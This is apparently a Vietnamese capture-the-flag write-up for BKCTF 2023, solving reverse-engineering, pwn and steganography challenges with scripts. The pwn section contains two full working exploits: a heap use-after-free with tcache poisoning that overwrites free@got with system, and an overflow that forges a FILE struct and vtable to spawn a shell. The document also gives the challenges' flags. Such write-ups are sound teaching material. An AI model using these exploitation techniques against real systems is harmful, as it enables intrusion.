# BKCTF 2023
# REVERSE
## Baby-Stack
Challenge này có để tên là StackVM nên mình đoán ngay đây sẽ là một bài VM. Khi mở lên đọc nhanh thì ở đây mình thấy có sử dụng tới 1 Vtable, chắc chắn đây là các VM Instruction :
```c
v18[3] = -1i64;
*v18 = &stackVM::`vftable';
v5 = VirtualAlloc(0i64, 0x1000ui64, 0x3000u, 0x40u);
v18[4] = v5;
memset(v5, 0, 0x1000ui64);
```
- Mình nhanh chóng phân tích và rename được các function như sau :
```asm=
??_7stackVM@@6B@ dq offset switch_case ; DATA XREF: main+32C↑o
dq offset xor_instr
dq offset cmp_inst
dq offset add_instr
dq offset substract_instr
dq offset shl_instr
dq offset shr_instr
dq offset store_instr
dq offset change_stackVM_pointer
dq offset and_instr
```
- Khi nhập flag vào (20 kí tự) thì chúng được gán vào VM memory của chương trình:
```c=
if ( len != 20 )
{
v7 = sub_7FF7C2781000(std::cout, (__int64)"Not enough length");
std::ostream::operator<<(v7, sub_7FF7C2781260);
exit(0);
}
index = 0i64;
program[29] = input[0];
program[28] = input[1];
program[79] = input[2];
program[78] = input[3];
program[117] = input[4];
program[116] = input[5];
program[155] = input[6];
program[154] = input[7];
program[193] = input[8];
program[192] = input[9];
program[231] = input[10];
program[230] = input[11];
program[269] = input[12];
program[268] = input[13];
program[307] = input[14];
program[306] = input[15];
program[345] = input[16];
program[344] = input[17];
program[383] = input[18];
v9 = 0;
program[382] = input[19];
```
- VM Program bắt đầu chạy :
```c=
do
{
if ( program[index + 1] == 6 )
{
v10 = 4i64;
HIDWORD(v18) = program[index + 1];
LOBYTE(v18) = program[index];
v11 = v18;
LOWORD(v19) = program[index + 3] + (program[index + 2] << 8);
v12 = v19;
}
else
{
HIDWORD(v20) = program[index + 1];
v10 = 2i64;
LOBYTE(v20) = program[index];
v11 = v20;
LOWORD(v21) = 0;
v12 = v21;
}
*(_DWORD *)&input[8] = v12;
call_switch_vtab = (void (__fastcall **)(_QWORD *, char *))*p_vtab;
v9 += v10;
*(_QWORD *)input = v11;
(*call_switch_vtab)(p_vtab, input);
index += v10;
}
```
- Mình đã định sẽ nhập chuỗi `abcdefghijklmnopqrst` và dump VMProgram ra rồi viết một parser, nhưng mình thấy nó khá mất thời gian, nên mình quyết định sẽ debug rồi trace theo input vì mình thấy VM Program cũng khá ngắn cũng như là chỉ có 8 VMinstruction mà thôi, vừa ngồi debug vừa ghi lại thì mình thấy input được encrypt như sau :
```c=
my_input_is="abcdefghijklmnopqrst"
const_xor1 = 0x220c
dw_inp1 = 0x6162 // "ab"
const_xor1 ^= dw_inp1
0x694E == const_xor1
const_xor2 = 0x7739
dw_inp2 = 0x6463 // "cd"
const_xor2 ^= dw_inp2
0x326A == const_xor2
```
Và mình thấy nó lặp đi lặp lại rất nhiều lần chỗ này, nên mình đã debug và đặt breakpoint chỉ ở 2 hàm là **xor_instr** và hàm **cmp_instr** để mình có thể lấy được const cũng như cipher để xor lại là xong:
```python=
sample = [0x220c,0x7739,0x3e49,0x6b3b,0x702b,0x3478,0x2d6a,0x3b75,0x4577,0x3723]
must_equal = [0x694e,0x326a,0x450a,0x5b78,0x3745,0x550a,0x581e,0xf19,0x7603,0x4a12]
for i in range(len(sample)):
tmp = sample[i]^must_equal[i]
print(tmp.to_bytes(2,"little").decode(),end="")
#BKSEC{C0nGratul4t31}
```
## Reality
Khi ném vào IDA mình không thể decompile ra mã giã C, nên mình ném nó vào BinaryNinja thì thấy ngay bên dưới hàm Main có một hàm khá lạ :

hàm sub_401220 chỉ là xor :
```c=
char __usercall sub_E41220@<al>(_BYTE *input@<edx>, const char *bkseccc@<ecx>, int maxlen)
{
char result; // al
signed int len_bksec; // esi
int i; // ecx
len_bksec = strlen(bkseccc);
for ( i = 0; i < maxlen; ++i )
{
result = bkseccc[i % len_bksec];
input[i] ^= result;
}
return result;
}
```
- Vậy là ở hàm Main khi chạy tới phần exception thì phần xử lý lỗi sẽ là hàm ở bên dưới main :

- Tiếp tục sau hàm xor bên trên thì là rất nhiều những dòng encrypt khá khó hiểu :
```asm
0040138e int32_t esi_2 = sx.d(*(arg1 - 0x78)) + sx.d(*(arg1 - 0x77))
00401397 int32_t eax_7 = ((esi_2 + esi_2 + 1) * ((sx.d(*(arg1 - 0x76)) ^ sx.d(*(arg1 - 0x75))) << 0x10)) & (((sx.d(*(arg1 - 0x74)) * sx.d(*(arg1 - 0x73))) s>> 0x10) + 1)
00401399 if (eax_7 != 0)
0040139b *(arg1 - 0x100) = 0
004013aa return 0x401e12
00401407 int32_t esi_4 = sx.d(*(arg1 - 0x72)) + sx.d(*(arg1 - 0x71))
00401410 int32_t edx_9 = ((esi_4 + esi_4 + 1) * ((sx.d(*(arg1 - 0x70)) ^ sx.d(*(arg1 - 0x6f))) << 0x10)) & (((sx.d(*(arg1 - 0x6e)) * sx.d(*(arg1 - 0x6d))) s>> 0x10) + 1)
00401412 if (edx_9 != 0)
00401414 *(arg1 - 0xfc) = 0
00401423 return 0x401e01
00401480 int32_t esi_6 = sx.d(*(arg1 - 0x6c)) + sx.d(*(arg1 - 0x6b))
00401489 int32_t edx_15 = ((esi_6 + esi_6 + 1) * ((sx.d(*(arg1 - 0x6a)) ^ sx.d(*(arg1 - 0x69))) << 0x10)) & (((sx.d(*(arg1 - 0x68)) * sx.d(*(arg1 - 0x67))) s>> 0x10) + 1)
0040148b if (edx_15 != 0)
0040148d *(arg1 - 0xf8) = 0
0040149c return 0x401df0
004014f9 int32_t esi_8 = sx.d(*(arg1 - 0x66)) + sx.d(*(arg1 - 0x65))
00401502 int32_t ecx_16 = ((esi_8 + esi_8 + 1) * ((sx.d(*(arg1 - 0x64)) ^ sx.d(*(arg1 - 0x63))) << 0x10)) & (((sx.d(*(arg1 - 0x62)) * sx.d(*(arg1 - 0x61))) s>> 0x10) + 1)
00401504 if (ecx_16 != 0)
00401506 *(arg1 - 0xf4) = 0
00401515 return 0x401ddf
...........
```
- Nhưng mình chợt nhận ra ở hàm exception này có 2 nhánh, nếu chúng ta đang debug nó sẽ rơi vào nhánh sai :
```
00401311 int32_t eax
00401311 sub_401220(eax, arg1 - 0x78, "BKSEECCCC!!!", 0x64)
0040132d void* fsbase
0040132d if (*(*(fsbase + 0x30) + 2) == 0) // isBeingDebug
```
- Phân so sánh :
```
00401c8b while (true)
00401c8b if (*(arg1 - 0x80) s>= 0x35)
00401cdd MessageBoxW(hWnd: nullptr, lpText: "Grab the flag and submit now, wh…", lpCaption: "Congratulation", uType: MB_OK)
00401ce8 return 0x401cf2
00401ca1 if (sx.d(*(arg1 + *(arg1 - 0x80) - 0x78)) != sx.d(*(*(arg1 - 0x80) + 0x4218b0)))
00401ca1 break
00401c84 *(arg1 - 0x80) = *(arg1 - 0x80) + 1
00401ca3 int32_t var_4_1 = 0x5eb00
00401cbf MessageBoxW(hWnd: nullptr, lpText: "Wrong Flag :((", lpCaption: "Error", uType: MB_ICONHAND)
00401cc7 ExitProcess(uExitCode: 0)
00401cc7 noreturn
```
- Vậy là chúng ta chỉ cấn lấy lại chỗ cipher bên trên xor với chuỗi "BKSECCC.." là ra flag:

## rev-checker
- Bài này cho 2 file, 1 file main :
```lua=
local util = require "checker"
-- local util = require("checker")
io.write("Input flag: ")
local flag = io.read("*l")
if util.check(flag, "BKctf2023") then
print("Correct!")
else
print("Wrong...")
end
```
- File checker.lua thì lại chứa toàn bytecode của lua language, nên mình đã tìm tool để decompile : https://sourceforge.net/projects/unluac/
- Decompile xong thì chúng ta có :
```lua=
local flag = {}
function flag.check(v2, v3)
local v4 = true
local v5 = string.lower(v3)
local v6 = {
46,
106,
119,
140,
105,
195,
195,
219,
180,
116,
151,
68,
191,
86,
169,
205,
195,
211,
107,
120,
110,
129,
160,
189,
189,
189,
194,
164,
102,
110,
123,
111
}
local v7 = {
219,
117,
231,
96,
201,
195,
228,
201,
255,
228,
195,
252,
219,
234,
213,
138,
138,
138,
96,
240,
228,
207,
195,
249,
207,
96,
261,
195,
219,
252,
99,
30
}
if 32 ~= #v2 then
v4 = false
end
for v8 = 1, #v7 do
io.write(string.char(v7[v8] / 3))
end
for v9 = 1, #v2 do
local v10 = v2:byte(v9) ~ v5:byte((v9 - 1) % #v5 + 1)
if v9 > 1 then
v10 = v10 + v2:byte(v9 - 1)
end
if v6[v9] ~= v10 then
v4 = false
end
end
return v4
end
return flag
```
- Đây là solve script của mình :
```python=
data = [ 46, 106, 119, 140, 105, 195, 195, 219, 180, 116, 151, 68, 191, 86, 169, 205, 195,
211, 107, 120, 110, 129, 160, 189, 189, 189, 194, 164, 102, 110, 123, 111]
flag = [0]*32
bk = b"bkctf2023"
flag[0] = data[0]^bk[0]
for i in range(1,len(data),1):
flag[i] = (data[i]-flag[i-1])^bk[i%len(bk)]
print(bytes(flag))
```
# PWN
## Class Manager
Chương trình có 3 chức năng trình, alloc bộ nhớ với size tuỳ ý, edit nếu tại index đó trong mảng đã được alloc, free một vị trí index trong mảng. Và cuối cùng là in ra màn hình nội dung của heap được alloc. Tại chức năng free, con trỏ không được set về null => use-after-free.
Cách khai thác, alloc một unsorted bin chunk sau đó free. Sử dụng chức năng in nội dung để leak địa chỉ libc => có libc.
Sau đó tcache poision, overflow con trỏ fw của tcache chunk. Để khi malloc, malloc return địa chỉ của free@got. Sau đó overwrite free@got thành system. Sau đó free("/bin/sh") => system("/bin/sh")
`chall này mình solve khi server tắt PIE`
```python=
from pwn import *
# Many built-in settings can be controlled via CLI and show up in "args"
# For example, to dump all data sent/received, and disable ASLR
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *main
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './babyheap_patched'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
context.terminal =['/mnt/c/Windows/system32/cmd.exe', '/c', 'start', 'wt.exe', '-d', '.', 'wsl.exe', '-d', 'Ubuntu-22.04', 'bash', '-c']
# Enable verbose logging so we can see exactly what is being sent (info/debug)
#context.log_level = 'debug'
# Delete core files after finished
context.delete_corefiles = True
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
p = start()
libc = ELF('./libc.so.6')
def alloc(id,length,name):
p.sendlineafter(b'choice: ',b'1')
p.sendlineafter(b'the database: ',str(id).encode())
p.sendlineafter(b"student's name: ",str(length).encode())
p.sendafter(b"name: ",name)
def show(id):
p.sendlineafter(b'choice: ',b'2')
p.sendlineafter(b'ID: ',str(id).encode())
def delete(id):
p.sendlineafter(b'choice: ',b'3')
p.sendlineafter(b'ID: ',str(id).encode())
def deobfuscate(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
alloc(0,0xa0,b'AAAA')
alloc(1,0xa0,b'AAAA')
alloc(2,0xa0,b'AAAA')
alloc(3,0xa0,b'AAAA')
alloc(4,0xa0,b'AAAA')
alloc(5,0xa0,b'AAAA')
alloc(6,0xa0,b'AAAA')
alloc(7,0xa0,b'AAAA')
alloc(8,0xa0,b'AAAA')
alloc(19,0x500,b'/bin/sh')
for i in range(8):
delete(i)
show(7)
leak = p.recv(6)
leak = int.from_bytes(leak, byteorder='little')
libc.address = leak - 0x219ce0
log.info('libc base: ' + hex(libc.address))
show(6)
leak = p.recvuntil(b'E')[:-1]
leak = int.from_bytes(leak, byteorder='little')
heap = leak & 0xffffffffffff0000
heap = deobfuscate(leak)
heap = (heap >> 12) << 12
log.info('heap base: ' + hex(heap))
system = libc.symbols['system']
free = 0x404010
alloc(6,0xa0,p64(((heap + 0x6c0) >> 12) ^ free))
alloc(10,0xa0,b'AAAA')
alloc(11,0xa0,p64(libc.address + 0x23fd30)+p64(system))
p.interactive()
```
## File-Scanner
Chương trình cho phép mở một file, đọc nội dung của file vào bss, sau đó in ra màn hình. Đọc file `/proc/self/syscall` để leak địa chỉ libc. Tại chức năng thứ 4, chương trình yêu cầu nhập tên và không giới hạn độ dài. Data được lưu vào mảng ký tự `name[32]` nằm trong bss. Ngay sau name là con trỏ file. Sau khi nhập `name` xong, chương trình gọi `fclose` để đóng file.
=> buffer overflow -> overwrite con trỏ file -> fake FILE struct -> fake vtable -> system("/bin/sh")
```python=
from pwn import *
# Many built-in settings can be controlled via CLI and show up in "args"
# For example, to dump all data sent/received, and disable ASLR
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *main
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './file_scanner_patched'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
context.terminal =['/mnt/c/Windows/system32/cmd.exe', '/c', 'start', 'wt.exe', '-d', '.', 'wsl.exe', '-d', 'Ubuntu-22.04', 'bash', '-c']
# Enable verbose logging so we can see exactly what is being sent (info/debug)
#ontext.log_level = 'debug'
# Delete core files after finished
context.delete_corefiles = True
context.arch = 'i386'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
p = start()
libc = ELF('./libc_32.so.6',checksec = False)
p.sendlineafter(b'how me your ID: ',b'\x00')
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Enter the filename: ',b'/proc/self/syscall')
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Your choice :',b'3')
p.recvuntil(b'0xf7')
leak = b'0xf7' + p.recv(6)
libc.address = int(leak.decode(),16) - 0x1ba549 - 0x20
log.info(f'leak: {libc.address:x}')
# create fake file struct
file = b"" # file
file += p32(0xFFFFDFFF) # file->_flags set _IO_IS_FILEBUF bit to false
file += b";/bin/sh;" # file->??? to be interpreted as a string
file = file.ljust(32, b'A') # padding to reach *fp
file += p32(0)
file += b'`' # padding
file += b'A' * (72-37) # padding
file += p32(0x804B0E0+0x500) # file->_lock vtable->__dummy
file += p32(0x804B0C4 + 76) # file->vtable vtable->__dummy2
file += p32(libc.symbols['system'])
file += p32(libc.symbols['system'])
file += p32(libc.symbols['system'])
file += p32(libc.symbols['system'])
payload = b'a'*32
payload += p32(0x804B0C4) # fake file struct address
payload += file
p.sendlineafter(b'Your choice :',b'4')
p.sendlineafter(b'your name: ',payload)
p.interactive()
```
# WEB
- link : https://dev.to/null001/write-up-bkctf-2023-28ef
# MISC
1 misc duy nhat.
Đầu tiên, đề cho 1 file chứa toàn hex text.
Decode nó ra.

Để ý dòng được bôi xanh nhé, ngoài ra magic number của nó rất giống với magic number của 1 file gif, ta sửa magic number của nó:
`87 89 46 38 89 61` > `47 49 46 38 39 61`.
Ta nhận được file gif chuẩn. Mở lên xem thử giống như từng phần của 1 cái QR, extract từng frame của gif ra với `ffmpeg`:
`ffmpeg -i file.gif frame_%d.png`
lúc này ta sẽ nhận được 9 cái png, tương ứng 9 frame của gif, sau 1 hồi ngồi nghịch linh tinh thì mình để ý nó ghép vào nhau theo thứ tự 0 -> 9 sẽ ra 1 cái QR chuẩn, vì thế mình viết script sau để merge lại thành 1 con QR:
```
from PIL import Image
new = Image.new("RGB", (1200, 1200))
pix = new.load()
startx = 0
starty = 0
orgx = 0
orgy = 0
for i in range(1, 10):
img = Image.open("frame_{0}.png".format(str(i)))
for x in range(startx, startx + 400):
for y in range(starty, starty + 400):
r, g, b, a = img.getpixel((orgx, orgy))
if r > 128 and g > 128 and b > 128:
pix[x, y] = 0, 0, 0
else:
pix[x, y] = 255, 255, 255
orgy += 1
orgy = 0
orgx += 1
startx += 400
orgx = 0
orgy = 0
if startx >= 1200:
startx = 0
starty += 400
new.save("QR.png")
```
Kết quả của cái ảnh merge rồi như này:

Quét ra và ta được text sau:
> Nếu cảm thấy mệt quá, em cho mượn: https://drive.google.com/file/d/1xebJa87ARLdgYgYmR-5aLB1lu5ckZxRH, thì thầm em nói nhỏ: "https://www.youtube.com/watch?v=9ar6S2wHZA8 never die"
Cái link youtube dẫn tới 1 vid bị xoá, sau khi solve mình cũng không dùng tới cái link đó nên mình cũng không quan tâm :v
---
Drive cho ta 1 file wave của bài Hurricaneger Sanjou, nostalgic XD. Nghe tới đoạn giữa thì mình thấy rè rè nên mình ném vào Sonic Visualizer để xem Spectrogram. Mình thấy được:
+ 1 link pastebin
+ 1 cái QR bị ọp ẹp phần dưới :D
#### Link pastebin:

Link paste bị thọt mất 1 kí tự đầu. Mình dùng script sau để bruteforce kí tự đó:
```
import requests
guess = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for char in guess:
response = requests.get('https://pastebin.com/'+char+'Wwx9n8N')
print(char, ": ", response.status_code)
```
Tìm char có code 200 rồi lấy thôi :v, ta được link chuẩn: `https://pastebin.com/mWwx9n8N`
Link này dẫn tới 1 text bị encode:

Mình ném text lên: https://www.dcode.fr/cipher-identifier, nhận diện được là base32 và decode, mình có được flag với 1 phần bị khuyết, lấp bằng format như sau:
`BKSEC{1_l0v3_xxxxxx-xxx-xxxxx}`
#### QR:

Tới đây, mình đoán chắc chắn QR sẽ là text để lấp vào format kia, tuy nhiên cái QR này bị khuyết tật :D, mình cũng không có cách nào để máy scan được. Nên mình quyết định zoom spectrogram lên, dùng sức người để mô phỏng lại cái QR này với [QRazyBox](https://merri.cx/qrazybox/)
Khá là chật vật, mình khôi phục tương đối và nhận được text như sau từ QR:

Dựa vào format trên kia cùng với việc đoán từ gì có ngữ nghĩa 1 tí, mình sửa lại cho khớp như sau: `h1dd3n-w4v-4ud1o`
Và ta có được flag : `BKSEC{1_l0v3_h1dd3n-w4v-4ud1o}`